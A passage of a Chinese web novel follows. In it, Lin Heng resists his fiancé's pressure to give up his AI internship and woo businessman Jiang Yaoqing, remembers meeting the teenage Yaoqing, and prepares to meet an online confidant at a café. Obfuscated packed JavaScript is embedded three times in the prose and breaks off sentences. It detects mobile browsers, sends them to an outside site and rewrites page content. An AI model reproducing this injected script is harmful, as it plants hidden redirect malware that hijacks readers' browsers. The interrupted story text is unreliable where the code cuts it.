他魂不守舍地划开屏幕,点开群聊消息,逼迫自己将注意力集中在跳动的图片和文字上,一条接一条地查看起来。 『青天大老爷:《欲在今宵》主创座谈会的返图来了!快看快看!@独木成林@不加班』 『青天大老爷:[图片][图片][图片][图片]……』 陶青很兴奋似的,万图连发,在群里密集地轰炸。 『青天大老爷:这是今晚活动的男主持,打扮得特别精致。瞧瞧他身上这枚胸针,是白钻和红宝镶嵌的鸢尾花,特贵气,散场后我还偷偷问了是哪个大牌赞助的,他笑眯眯地告诉我,这是他订制的私物……』 她连发了三张胸针的特写,看上去是从合照中截下来的。 林衡缓缓地眨了下眼皮,不知为何,他总觉得胸针有些眼熟。 是在哪里见过吗…… 嘀、嘀、嘀—— 一阵鸣笛声划破了寂静。 林衡定了定神,匆匆收起手机,向不远处一辆银灰色轿车走去。 他矮身钻进后排,还没坐稳,便听见未婚夫关切地问道:“和江总聊得怎么样?” 闻如峰的手肘搭在椅背上,侧对着他,窗外路灯的光线朦胧地洒进来,在胸前激起数十道密匝匝的微光,像一团亮到模糊的星云。 林衡定睛一看,瞬间了然了。 是了,如峰的胸针也是鸢尾花,想必这是时下流行的款式。 林衡带上车门,嘭地一声:“随便聊聊,加了联系方式。” “哪个号码?” “177开头。” 闻如峰挑了下眉,体贴地替林衡掖了掖衣领:“是江总的私人号码,不是给生意伙伴的,看来你们关系不错嘛……” 林衡充耳不闻,双手搭在膝盖上,心虚地沉默着。 他心里很乱,如果可能,七天之内他都不想提起江耀清。 “和江总约好了下次见面的时间吗?” “没有。” “要抓紧些了。” 闻如峰同他娓娓道来:“江总刚回国,身边没什么朋友,事务也不算忙,正是拉近距离的好时候……后天吧,后天约江总和程秋意吃个饭,程家二公子是你朋友吧?在饭桌上,你顺势约他们去看马术比赛,就在周五下午,票不用担心,我……” “如峰。” 林衡打断了他的安排:“我知道你工作很忙,找融资也不容易,我理应帮你分担。但现在是毕业季,我有论文要忙,还要兼顾华锐的实习。偶尔抽时间应酬,我还算吃得消,但是天天围着耀清打转,恐怕……” 闻如峰一笑:“实习这种事,没什么要紧的,推掉也无所谓……” “怎么会无所谓?” 林衡惊诧地动了下眉毛:“华锐是数一数二的科技公司,我很看好它持续深耕的AI赛道,也看好我这个岗位的发展前景……” “我知道,这是份体面的工作。” 闻如峰摆了摆食指:“体面的工作,几十万的年薪,我可以随时给你安排。但要是能搞定江总和他背后的德通集团,起码能养活我的三个分公司,接近一千个家庭。这样的投入产出比,小衡,你明白选择哪方更划算吧?” 林衡的表情瞬间冷了下来。 他顿了顿,再开口时,语气平静、有力且坚决:“如峰,这不只是一份体面的工作,更是我持续钻研的领域和为之奋斗的事业。我加入的团队实力非常强劲,正计划对现有大模型进行全方位的迭代,在商业上前景极佳,社会效益也是不可估量。更重要的是,团队leader承诺不遗余力地培养我。如峰,我有着十分清晰的职业规划,是从本科时代便开始绘制的蓝图,我不能舍弃这个来之不易的机会。” “至于你方才说的,我去交际应酬就能解决一千个家庭的生存问题……” 林衡的脸色愈发严肃了:“如峰,我能做的只是锦上添花——双方是朋友,商务上能顺利些,价格也好谈。至于一千多个家庭的饭碗,我解决不了,我的能力有限,我能负担的只有自己的生活而已。” “小衡啊,你这就是学生思维……” 闻如峰煞有介事地摇摇头:“工作只是工作而已,哪有那么多崇高的意义?现在摆在你面前的,有两个选择,一是在融资D轮的科技公司里当个螺丝钉,和无数名校精英卷一个晋升的机会,二是为自家的生意添砖加瓦,和大人物打交道,见更多的世面,轻松写意地把钱赚了。以后要是你想自立门户,我也会……” 林衡忽然笑了,左腿叠在右腿上:“给自家打工,哪有什么轻松写意?使唤自家人,必然毫不客气。我只知道有开不完的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻如峰的眼珠微微动了下:“今晚我没向宾客公布你我的婚事,所以你生气了?” 他的语气更柔缓了:“今晚是个休闲的场合,我父母也不在场,贸然地宣布了,不太正式,我打算再过一个月,向亲朋好友们下帖子,专门办场小型宴会,请大家来热闹热闹。” 见对方继续装傻充愣、模糊重点,林衡只觉得荒谬,甚至有些想笑。 “如峰,今晚这件事,我没生气,我尊重你的选择。” 眼下这番唇枪舌剑,几乎比他们七天加起来说过的话还多。 他继续道:“我父母在酒会上给你撑场面了,我也如约去和耀清攀关系了,我们一家可谓是诚意满满了。接下来要轮到你们家向前迈步,推动关系,才算是双向奔赴,你说对吗?” 绕来绕去,林衡总算说出了心里话。 连未婚妻这个名头都不肯承认,就想让别人抛掉工作、为闻家的事业添砖加瓦,甚至还画了个有钱有闲的闻少奶奶的大饼,还真是大言不惭。 稍微有点自尊心的人,被林衡这般用话一刺,大多会笑嘻嘻地打圆场,就此作罢了。 但闻如峰偏生不是一般人,兴许是大男子主义作祟,仍在继续推拉:“我明白你的顾虑。在咱们的婚事上,闻家并不吝于展示诚意,我已经在帮林阿姨的公司找融资了,也在和股东讨论投资的事情,这都需要时间,但讨好江总这件事,却迫在眉睫,机不可失失不再来,就只能先请你出马。至于你的事业发展,这并非我多嘴,而是双方父母一早就商量好了,往后我主外,你主内,难道不是吗?” “我怎么不知道家庭分工已经定下了?” 林衡皱起了眉:“我交代过我家里人,另一半不能干涉我的事业发展,这是我的底线。他们回来后对我说,闻家人很开明,二话不说就答应下来了。” 闻如峰的眉毛高高地挑起了:“小衡,双方约定的恐怕不是不干涉你的事业发展吧?他们说的是不会干涉你外出工作,不会强迫你婚后全职带孩子。你爸爸还主动说过,希望你婚后能找份清闲的工作,好好照顾家庭呢。” “我爸爸说……” 林衡愣了几秒,脸色忽地变得铁青。 “这样吧小衡,咱们取个折中的法子。江总这边,在不影响你工作的情况下,你先帮忙应酬着。咱们三个月后结婚,婚后就备孕,再过十来个月孩子出生,然后再考虑换工作的事情,这样可以吧?” 轿车转过红绿灯路口,司机一脚油门,很快便来到了万峰大厦门前。 “就这样吧,我还有工作,要见个客户,先去忙了。” 闻如峰先一步开门下车,他无视林衡的脸色,轻飘飘地留下一句:“记得约江总和程秋意吃饭。晚安。” 10. 夏日梦 夜里十二点半,林衡靠在客厅沙发里,查看“瑶池”发来的消息。 『……你被家里人背刺了?这父亲是怎么当的?』 林衡对着屏幕苦笑:『是啊,我差点就一个电话打过去了』 『为什么不打?怕打扰他休息?』 『原因之一吧。我爸五十多岁了,心脏不太好,今晚喝了不少酒,怕把他气病了』 林衡停了一会儿,继续按键道:『找他对峙也没什么用。他的观念很传统,在他眼中,Omega就该找个经济实力雄厚的另一半,做个相夫教子的贤内助,他就是这样过来的』 “瑶池”显然不认同:『即便没什么用,该抗议还是要抗议,不然他会更加不知收敛,肆无忌惮地替你做主,控制欲日益膨胀』 『嗯,他的掌控欲确实很可怕。我怀疑他做的不止这些,还有更过分的事情』 『做了什么?』 林衡想了会儿:『还没有确凿的证据,先不讨论了。我先按兵不动,攒一攒素材,等证据足够了,再好好地算一算账』 『父子之间还要玩无间道,你们家的关系可真复杂……』 “瑶池”很是感慨:『既然你早就经济独立了,为何还要听爸妈的话,乖乖结婚还债呢,明明这个家给不了你多少温暖了』 『父母精心养育我十七年,即便我和家庭的纽带日益淡薄,但当父母的生活陷入困顿时,我还是做不到冷眼旁观。还有就是,怎么说呢……』 林衡低垂着头,额发遮了眼睛:『或许越是从父母身上感受不到温暖,就越舍弃不了家庭吧,我还是希望能得到些什么,总是隐隐期待着』 『因为不甘心吗?』 『大概吧。我一直认为他们是不称职的家人,母亲专制严苛、脾气火爆,父亲控制欲强、自私冷漠,他们把我哥哥彻底毁了,我特别想成为和他们不一样的人,他们做不到的事,我一定要做到。如果我有个弟弟,我绝对会照顾好他』 『你有弟弟?』 四个大字烙在昏黑的视野中,刺得林衡有些出神,仿佛他仍坐在七年前的夜里,只要晃一晃小腿,便能碰到坐在地毯上的江耀清。 那年耀清十五岁,有一对柔和的浅褐色眼瞳,配上郁郁寡欢的神色、清瘦纤细的身材,轻易便能博得他人的怜爱。可与此相悖的是,他身边鲜有人打转,他冷峻寡言、态度粗野,干脆利落地隔绝了旁人的窥探。 他很警惕,许多无关痛痒的小事,都会刺激他敏感的神经。 『算是有过弟弟吧。但最终我没成为一个好哥哥,间接地伤害了他』 不知不觉间,他已经向“瑶池”吐露太多了。 『聊聊你的情况吧。你未婚夫的事还没解决吗?』 『快了,出轨的证据厚厚一沓,已经在谋划摊牌了。但说实话,一想到这三年的付出的感情,我还是鼻子发酸。大概是因为我真的爱过他吧』 『我理解,如果你想哭的话,就肆意地哭吧,如果想要倾诉,也随时可以向我倾诉』 林衡也有过这种时刻,被激烈的情绪压得喘不过气的时刻。 耀清在深红谷地出事后,林衡精神崩溃,大病了一场。 他被关在白森森的医院里,像躺进一个纸糊的洞穴,空旷的单人间、浓烈的消毒水味、此起彼伏的按铃声……输液管中的盐水不疾不徐地滴下,他心焦如焚,茫茫然地流泪,口齿不清地呓语着,井喷般的愧疚感几乎要撑爆单薄的躯壳。 唯有宣泄是良药,他无休止地尖叫、诅咒、痛哭,一次次从噩梦中冷汗淋漓地惊醒……这是精神的减压阀,在无数次崩溃中,他渐渐放干了易燃易爆的情绪,也正是以此为契机,他决心脱离父母的控制,做自己人生的掌舵人。 这段碎后重生的遭遇,再回顾时,让林衡感慨万千,忍不住叹息一声。 终归是轻舟已过万重山。 “瑶池”回了长长一段:『谢谢你。实话实说,我真的很需要倾诉,却没有勇气和身边人开口。我整宿整宿地失眠,一天一包烟,吃饭完全没有胃口……我快到极限了,想说的太多太多,多得快把自己逼疯,我能和你见面聊聊吗?』 像害怕对方回绝似的,“瑶池”立刻补充道:『我们可以约在白天,位置选在人流密集的市中心咖啡馆,我们双方不必露脸,各自戴好帽子假发口罩,这样可以吗?』 林衡犹豫了片刻:『好,时间选在什么时候呢?』 『明天中午十二点,方便吗?』 『地点呢?』 『墨白咖啡,[图片][定位]』 『好的,离我公司不算远,打车十五分钟。时间不早了,你要睡了吧?』 『是啊,你呢?还在等你未婚夫回家?』 『没错,虽然今天和他争执不下,但我还是要尽可能温柔体贴』 关系越是岌岌可危,便越是要把自己的事情做到位。若是双方真的闹到退婚,最起码能让他看起来无可指摘。 今晚这番关于工作的争吵,已经让林衡脑中拉响了警报,开始不着痕迹地给自己准备退路了。 『好,那我不打扰你了,先睡了,晚安』 『晚安[月亮]』 林衡按灭了手机,长长地呼出一口气。 他端坐在昏黄的暗室里,说不清的紧张感笼上心头,他曾结交过许多网友,却从来没有人和他投缘到如此地步,甚至不假思索地同意了线下见面的请求。 他后知后觉地忐忑起来,见面安全吗,会不会被人尾随,该怎么安慰“瑶池”,会不会很尴尬…… 或许他该问问陶青,他的学姐为了拍纪录片,常常在网上搜罗采访对象,聊成网友后再线下约见,这样的小事她肯定手到擒来…… 滴—— 玄关处传来电子门开锁的提示音。 闻如峰到家了。 见林衡等在客厅里,他惊讶地扬起眉毛,转瞬又变做分毫不错的完美笑容:“这么晚了,还在等我,怎么不先睡?” “睡不着。” 这倒是林衡的真心话。他的语气温温柔柔,仿佛今夜的争执只是幻觉:“你不回家,我不放心,我给你热杯牛奶?” “好啊,有劳闻太太了。” 闻如峰泰然自若地接受了,顺势奉上几句蜜语甜言:“有你这样体贴的太太,真是我的福气,以后别睡得太迟了,你陪我熬夜,我舍不得。” 林衡麻利地替未婚夫解了扣子,将他脱下的外套抱在怀里,冲着他笑:“先去洗澡吧,我来挂衣服。” “好。” 闻如峰抬起指尖,在未婚妻的发梢间留恋地绕了绕,嗅了嗅香气,便回卧室去了。 等他的身影彻底消失后,林衡的脸仿佛是擦拭过的玻璃,关切的笑意踪影全无,唯余一张干净冰冷的面孔,平静地反射着黯淡的灯光。 林衡的左手慢慢地从纯黑的风衣里抽了出来。 玉白的指尖,夹着一片透光的薄纸。 他垂下眼睛,没什么表情地翻过来。 锃亮的油墨规矩地印出硕大的二维码、加粗的片名和细窄的日期。 是《欲在今宵》的票根。 明明昨天约好了,周五陪林衡去法国影展,没想到就在今天晚上,闻如峰却提前去了。 他是独自去的吗? 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396619|184304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衡默不作声地盯着纸页。 他拍了张照,将票根原封不动地塞回口袋,接着抖了抖风衣,展平挂起。 * 夜里三点,萧瑟寂静的黑暗里,林衡做了一个关于沉闷夏日的梦。 他梦见一台复古电话机,樱桃红色,黑亮的按键像一颗颗虫蛀的孔洞。 他心焦如焚,一次次抓起沉甸甸的听筒,拨号、恳求、挂断,甜美的女声刺激着耳膜,他急得汗水滴进了眼皮里,眨眼时涩涩的,好疼。 “……我和领导争取过了,既然那位客户没交定金,您又这么有诚意,他同意把夏令营最后一个名额转给您的朋友。可以报一下您朋友的姓名和联系方式吗?” 林衡跌坐在沙发上,如释重负地出了口气:“我还没见过他,只知道他妈妈姓江。后天再告诉你,可以吗?” “好的,我先发您链接,您可以在线上支付定金。夏令营的邀请函明天寄出,麻烦您到时签收下……” 林衡没留意听,梦里的阳光晒得他头重脚轻,广藿香的气味让思绪浑浑噩噩,在嘶嘶的电流声里,他只是一味地幻想着,接到夏令营烫金的邀请函时,那个小他两岁的新朋友会不会很激动? 他怀着隐秘的雀跃熬过了三天,在临近十七岁的傍晚,他总算见到了那个漂亮的男孩。 “小衡,妈妈给你介绍下,这位是江峥流江阿姨,是妈妈的好闺蜜,刚刚辞掉德通医药研发中心主任的工作。这位是江阿姨的儿子,江耀清……” 十五岁的男孩很清瘦,T恤下摆长及膝盖,五五分的穿搭,却越发显得身量高挑。 他左肩挂着包,行李薄薄几件,甚至撑不开牛津布。鞋子是潮牌限量款,林衡在店里见过,价格签上满满一堆零,是令人咋舌的天文数字。 离奇的是,男孩身上却全无富贵气,亦没有骄矜、从容或玩世不恭,他转着浅褐色的瞳仁,视线触了下林衡,又迅速飞散,虚虚落在远处:“哥哥好。” 没人责怪他的冷淡,因为他长了张不爱笑的脸,这张脸美得惊人,足以将无礼装点为矜持、稳重与深沉。 青春期的少年,总会有些郁郁寡欢。 许多人都这样想,因为他表现得很温顺。他们喝茶、闲谈、吃饭,耀清像一道影子,沉默地守着大人,却又存在感鲜明,令林衡不由得频频探看,即便映在眼中的只有一张纹丝不动的面孔。 叮铃铃—— 是快递员的来电。 林衡一边起身,一边解释道:“我订了深红图腾夏令营的名额,邀请函到了,我去签收一下。” 他转身离开时,林不默笑着调侃道:“哎呀,为了这个夏令营,小衡真是费尽了心思……前两天我总见到他打电话,说是夏令营满员了,但有个人没交定金,他就想尽一切办法,把这个名额给磨来了……” 此话一出,饭桌上的气氛凝滞了一瞬。 江峥流仍是温和地笑着,她扶了扶镜框,不慌不忙地同林不默叙话。 窗外雷声隐隐,闪电劈开乌云,浑浊的雨滴零星地打湿了玻璃。 她慢条斯理地闲聊,坐在她影子里的耀清面色不虞地擦嘴。揉皱的纸巾被不耐烦地一弹,轻飘飘地撞上桌沿,而后翻滚着滑落到地毯上,摇晃着停在一片黑暗中。 没人察觉他的失礼,更没人察觉他何时离开了餐桌、绕到后门、翻出庭院、撬开了自行车锁…… 见面不到两小时后,江耀清便提着行李出走了。 等林衡回来后,只有空空的座位,消失的背包,泥泞的脚印,失窃的单车…… 耀清从林家大宅里消失了,甚至连句“吃饱了”都没曾交代。 11. 幻亦真 很久之后,林衡才逐渐察觉江峥流的异常。 她坚信儿子罹患精神疾病,只是病情隐藏得太深,连医生都诊断不出。为了证实自己的猜疑,她怀着非比寻常的耐心,在生活小事里不遗余力地刺探,逼得儿子一次次情绪失控。 在耀清情绪崩溃的一瞬,她脑中总会轰地一声,心里的石头像是落了地,身心骤然一松。 果然啊,她的儿子不正常。 但出乎意料的是,耀清的性情并不像病人那般狂躁易怒,随着年龄增长,他展露的情绪越来越少,变得孤僻、警惕、冷漠,却又停留在正常范畴内,维系着一线脆弱的平衡。 于是江峥流的手段变得愈发隐秘和精妙。 她会留意学生间时兴的话题——夏令营、珍稀物种、野外考察,会在购置的新书里添一本地质学的图册,会在看电视时点选深红谷地的纪录片,会参加家长会后带回一张夏令营的宣传单…… 她审慎地抛洒着鱼饵,直到热爱户外的耀清主动咬钩,私下去找疼爱他的舅舅帮忙报名。 当弟弟替外甥来做说客时,江峥流爽快地应了,她预约了夏令营名额,却迟迟不交定金,接着便像个耐心的猎人那般,等待着名额被别人抢走,等待着儿子掉落陷阱后暴怒的一刻。 “看哪,这个孩子有病……” 这句话被她重复了太多年,早已搔不到她灵魂的痒处,此时此刻,她希望有更多双眼睛来见证,更多张嘴发出相似的议论,“看哪,这个孩子有病……”。 她喜欢让儿子在众目睽睽之下失控。 她丝毫不觉得这很病态,她自认是个严母,这是在为儿子的将来做打算。 若是耀清能早早确诊,能被尽快送去干预治疗,想必他便不会像他的生父一般,患上严重的精神分裂症。 可江耀清却并没有大发雷霆。 十五分钟后,当林衡终于在公交站找到他时,耀清整个人被淋透了,像一面湿漉漉的灰帆,停泊在暴风雨中。 翻滚的暗云、奔腾的雨珠、恹恹的面孔……紫亮的闪电下,他苍白的脸忽明忽暗,唯有上衣湿黏的轮廓分外鲜明,被冰冷的风瑟瑟拂动。 林衡没有埋怨,更没提“江阿姨”三个字。 他语气温和地道歉,即便他不清楚是谁得罪了耀清。他认真地劝他留下来,他一直企盼着有同龄人与他同吃同住。他提前一周收拾出哥哥的房间,买了耀清喜欢的地质学图册,认真规划了要带他游玩银城的哪些名胜,还定了两个深红图腾夏令营的名额,是他三番五次打电话才磨来的…… 耀清虽小他两岁,却略高他半头,让他只得微微仰着脸,以直白诚恳的眼神瞧着他。 铺天盖地的水汽里,一切都是泛着腥味的。凭着直觉,他察觉耀清额发下的眉头蹙紧了,像被一点火星烫伤了。 隔着朦胧的黑暗,一丝预感在林衡心里落地生根。 即便他拖住他的手腕,也不会被拒绝的。 梦里的思绪总是流动得迟缓,等他回过神时,他已经拉着耀清在雨中疾行,子弹般的水花在明黄的伞面上砰砰炸响。 “假的。” 耀清的声音在绷紧的伞下闷闷地震荡。 林衡下意识地反问:“什么?” “你骗我。” 冷冷的讽刺钻进了耳朵:“抢走了我的名额,你一定暗暗窃喜吧?” “什么意思?” “最后一个没交费的名额,是我的,被你抢了。” 握在虎口间的腕子不屑地挣动着,“你想把我哄回去,便谎称替我报了名,对吧,其实是留给你自己的,你在撒谎……” “不……” “我知道你追出来是为了什么,是怕我在外面出事,连累你们家。你为了稳住我,才说什么要留我同吃同住,其实你只想把我交给江峥流,让她赶快把我带走吧?” “不是的,我……” “惺惺作态,很勉强吧?” 耀清重重地甩开手,揉了两下腕骨:“放心,我今晚就走,今晚就让我妈带我走,不给你添麻烦。” 林衡脚步一顿,他扯住男孩单肩包的带子,三两下就将挎包一股脑地剥下来,往自己肩上一甩:“你误会了。” 林衡温和地、不容分说地制住他的反抗,雨伞大幅度地倾斜,白珠噼啪乱溅,像置身于一艘东倒西歪的小舟:“跟我回家,我说的每一句都是认真的。” 回家…… 隔着湍流的夜色,耀清的脸色蓦地冷到了冰点。 他抬肘猛地一撞,瞬间掀翻了头顶那片明黄的阴影:“我自己能走。” 话音未落,他便厌憎地甩开了林衡,大踏步地冲进了隆隆的雨幕中。 * 被戳穿最狼狈不堪的一面时,每个人都是应激的、羞恼的、暴躁的。 他的哥哥就是这样,每次林彻和妈妈争吵过后,要么将自己关在卧室里,要么冲出家门不知所踪。若是林衡鼓起勇气去安慰他,一定会被哥哥不耐烦地赶走。 渐渐地,林衡便不再自讨没趣了,可林彻却没能自我疗愈,他对家庭的怨恨越积越深,无处倾诉与排解,最终破罐破摔,和母亲彻底决裂了。 林衡后悔莫及,如果他能开解哥哥,哪怕是陪他一起发泄,做他的减压阀,或许一切都会变得不一样。 这样想着,他长长叹了口气,叩响了次卧的房门:“耀清,我来送衣服,可以进来吗?” 没有回答,却也没有拒绝。 林衡默数了五下,他慢慢拧动门把手,咔哒一声,推开了深色的木门。 房间里没开灯,昏黑一片,唯有窗外的霓虹光晕隐隐透进来,勾出了屋内陈设的轮廓。 在半透明的夜色里,林衡呼吸一滞,环抱着衣服的双臂缓缓垂下了。 他的眼中映着一张白莹莹的背,晶亮的热气蒙在皮肤上,反射着微光,像是山谷里某处神秘的矿藏。 耀清刚刚淋浴过,上身赤着,肌肉薄薄一层,看得清骨骼的沟壑。他短短的黑发柔顺地贴伏着后颈,水珠颤颤巍巍,随着肩胛的鼓动,轻盈地滚落下来。 林衡反手带上门,向耀清递去衣物:“你背包里的衣服全浇湿了,先穿这一套,凑合一晚吧。” 耀清头也不回地拽过,他单手抖开,利落地套在身上。 伴着衣料摩擦的沙沙声,围在腰际的浴巾渐渐松脱,无声地跌落在地毯上。 林衡长睫一闪,登时避嫌般垂下眼帘。 他半低着头,黯淡的视野中,唯余潮湿起皱的浴巾、起伏挪动的脚掌、和小腿至脚踝间绷起的弧度。 当男孩腿侧的筋脉随着动作凸浮的一瞬,林衡蓦地轻声道:“衣服都是全新的。” “……什么?” 林衡的视线拘谨地停在别处,继续自顾自道:“从内裤到睡衣,都是新买的,三天前我让保姆洗净烘干,没有其他人穿过。” 耀清的背影顿住了,他侧了下头,发梢湿漉漉地扫过,却又硬生生地停下了。 凝结的空气里,仿佛有什么在拉扯。 分明各自偏开了头,却能无比清晰地觉察到,他们的注意力正牢牢黏在彼此身上。 怪异的一瞬。 啪,江耀清按下开关,立在床头的落地灯睁开了眼睛,空旷的卧室盛满了柔和的暗橙色。 耀清拧过身来,侧脸的轮廓被涂得锋利,湿湿的黑瞳被光焰点得锃亮。领口软塌塌的布料大片地摊着,遮掩着肩颈的线条、硬硌的锁骨、翕动的胸膛。 他动着手指,一枚枚塞紧睡衣扣子,像一尾警惕的鱼,戒备地观察着林衡。 似乎深黑的池水一搅,他便会悄无声息地遁走。 林衡任他揣摩,像暗流里耸立的礁石:“这样东西,是特意留给你的。” 他递出了塑封的暗红图册。 是深红图腾的邀请函。 耀清的视线停了几秒,接着回荡起手指翻动封皮的滞涩声响。 “对不起,我听说你对自然风光很感兴趣,就自顾自地订了暑期研学班……” 窗外雷鸣渐歇,嘹亮的雨声衰弱下来,变得稠密、细碎、又乏力,击打在绿树浓阴间,溅起绵绵的沙沙声。 林衡认真讲明了前因后果,怕耀清不信,又补充了许多细节。而耀清却没抬过头,目光始终在纸页上逡巡着,翻来覆去地读着灯影下模糊的字句,眼珠从左移向右。 “……我没骗你,你要去的夏令营,深红图腾,我替你申请了名额,不好意思。” 林衡吮了下发干的唇面,柔和地扬起嘴角:“我们抛开误会,‘一笑泯恩仇’,好不好?” 两人的影子落在墙上,静静对峙着,是两道浓黑的平行线。 耀清垂着鸦羽似的眼睫,眉头微微隆起,似是觉得厌烦,想要张口拒绝。 就在他启唇的刹那,窗外忽然闯入了一阵狂风。 雨水密集地撞上窗纱,气流胡乱地掀翻了白帘,在急促强劲的拍打声中,夜风搅动着两人滴水的黑发、半敞的衣襟、未出口的话语,紧紧地裹着他们的躯体, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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时钟的针脚敬业地向前迈步,流淌的思绪在药效的作用下渐渐凝固。 林衡陷入了短暂的清醒,天光是高纯度的蓝,淹没他的脸孔,像浸在冰水中。 对了,他答应了未婚夫请耀清和阿程吃饭…… 林衡勾出手机,浑浑噩噩地编辑着短信:『后天晚上在芳泉餐厅吃个饭,方便吗?』 他点下确定键,消息立刻发送了,阿程的手机一向静音,不会被打扰到的。 至于给耀清的短信…… 林衡将手机一抛,翻身埋进了枕头里。 不得不承认,他有些想逃避。 醒来再说吧。 林衡阖上眼帘,在一片黯淡里,重新下潜至梦境的海流中。 就在他窥见洋底的一瞬,被子的褶皱里忽然传来嗡的一声,闷闷的震动霎时驱散了浅浅的睡眠。 ……阿程怎么回短信了? 林衡不太舒服地皱着眉,按亮屏幕时不由自主地眯了下眼睛。 『好。』 简单利落的一个字。 来自江耀清。 他发错人了。 刹那间,林衡的上半身猛地从床上弹起了。 他的耳里嗡嗡地响,在清寒的、幻觉般的晨光里,他的眼珠错愕地颤动着,灵魂出窍似地盯着发送人的姓名。 江耀清。 他没法形容此刻的感受,七年前的回忆,一刻钟前的梦境,像和他隔着一层透光的窗纸,纷纷的幻象、似是而非的眷恋、逝去的种种都可望不可即,像隐在雾中。 可屏幕上的一个“好”字,却轻轻刺穿了薄薄的纸面,无尽的思念山洪般一泻而下,轰隆隆地降临在这个秋分后的清晨,日历上的九月二十八号。 分不清是虚幻还是真实。 战栗一阵阵地爬满全身。 太阳出来了,他一会儿发着呆,一会儿又是笑,眉梢眼角都轻盈,腔子里却有什么重重地跌落。 直到晨间的青霭消散殆尽,霞光将脸上的绒毛照得灿金,他才将邀约转发给阿程,按灭了屏幕,抬手遮住了眼睑。 挺好。 林衡安慰自己。 耀清还能存在于他的生命里,便已经是难得的福气。 他不该奢求太多。 知足最好。 12. 咖啡厅 整整一上午,林衡头重脚轻,像悬在水里似的。 哪怕是一个回身的功夫,思绪也会不受控制地泛滥,一次次被卷进回忆的涡流。 七年前的夏季,他和耀清曾亲密无间。 他们的衣柜里塞满了彼此的衣服,他们买的杯子、文具、蛋糕、车票全是双人份的,他们看同一部纪录片、拼同一个航模、翻同一本图册,杂志上的批注不是你的就是我的…… 他们一遍遍穿行于银城的大街小巷,曾在雨后污水横流的街上找篮球,也曾一前一后地走在水族馆中,幽幽的光线落在脸上,水中透出的湛蓝微光,就像今天黎明前的蓝调。 于是在无声的青色调里,七年前和七年后重叠了,耀清的短信仿佛穿透时光,将回忆载入现实,让一切重新咬合。 他仍然没太多实感,多少个日夜,他早就习惯于梦中重温往昔,然后在闹铃中醒来、在黑暗里醒来、在白噪音里醒来,没有回应,梦中的一切是金鱼吐出的气泡,浮进现实后便寂静地破裂。 而就在今天,他竟然收到了回音,简单的一个字,像是来自外星的传讯。 不该再回味,不能再劳心费神,他坐在华锐十二层的会议室里,竭力勒住思绪的缰绳,leader正在大屏幕前讲PPT,会后还有亟待研习的资料、堆积如山的工作、与“瑶池”在咖啡厅的碰面、以及一段岌岌可危的婚约…… 岌岌可危。 他的道德底线亦是岌岌可危。 林衡忽地按亮了手机,调出了短信界面。 他看也不看,拇指长按耀清回复的“好”字,点选了删除。 世界清静下来了。 松开手时,他的指尖有些发抖。 林衡总算回过魂来,用袖口一点点擦去屏幕上的指印。 摩擦的感觉很钝,他的双耳隐约捕获到细小难听的吱呀声。 嗡—— 手机再次亮起了:『十二点钟,在墨白咖啡见面,没问题吧?』 是来自“瑶池”的消息。 林衡忍住没回,直到散会之后,才一面踱回工位,一面慢吞吞地打字:『没问题,我的搭配是黑色渔夫帽、齐腰金色假发、黑色口罩、米色帆布包』 『好,我是棕色锁骨发、米色大衣、黑色口罩,我会提前半小时到,桌上放一束鲜花,你直接过来找我就好』 『嗯,中午见』 林衡刚退出聊天界面,V信的消息浮层突然又闪动起来。 ——是来自“金窝银窝不如自己的狗窝”的群消息。 『青天大老爷:同志们!经过我三天三夜的奋斗,银城美术馆特展的纪录片已经粗剪完成了!』 『青天大老爷:我还有些小衡的采访素材要单独处理一下,一会儿弄好了我再发出来,@独木成林你肯定会非常喜欢的!!!』 林衡摸不着头脑,在群里连发了三个问号。 不会是他的NG集锦吧? 独木成林:『???』 独木成林:『学姐,你还是单独发我吧』 他甩出个求饶的表情包,匆匆熄了屏幕,继续投身于工作中。 * 十一点四十分,林衡挎着米色帆布包,捋着微乱的长发,悄无声息地溜出了华锐二楼的洗手间。 他早早做好了功课,大厦二楼是营销部,销售们天南海北地奔波,偌大的办公区只有零星几人。在午休时潜入空荡荡的男厕所,换上一身女装,再麻利地闪出来,根本不会引起任何人的注意。 林衡扣上渔夫帽,调整着口罩的细绳,迅速地钻进了消防通道。他步履迅捷地下楼,金灿灿的鬓发垂在眼前,在视野里微微晃动。 三分钟后,林衡钻进了出租车,同“瑶池”发信息:『十二点钟准时到』 『好』 “瑶池”回了张照片,雪白的背景里,是高耸的书架、飘荡的纱帘、远处的人影、暗色的桌面和一只玻璃咖啡杯。 林衡的瞳孔忽然微微一缩。 他两指滑动,将照片放大,观察着图像中的细节。 问题很多。 照片中的桌沿、书架和踢脚线有不自然的弯曲,如此严重的曲像畸变,必定使用了广角镜头。拍摄的视角也很奇怪,比餐桌略高一点,咖啡杯只看得到中段,看来设备架设在桌上。另外图像没有滤镜、色彩偏灰、锐化过度但像素不高…… 是用微型摄像头拍摄的照片。 有备而来啊。 林衡垂着眼皮琢磨了一会儿,食指摩挲着后座上帆布包的侧边。 凸起的布料下缝着暗袋,里面是一枚椭圆的银色物什,外观像车钥匙,实则是附带录音功能的一键报警器。 网友见面,双方都各有保留,没人会全然相信素未谋面的陌生人。 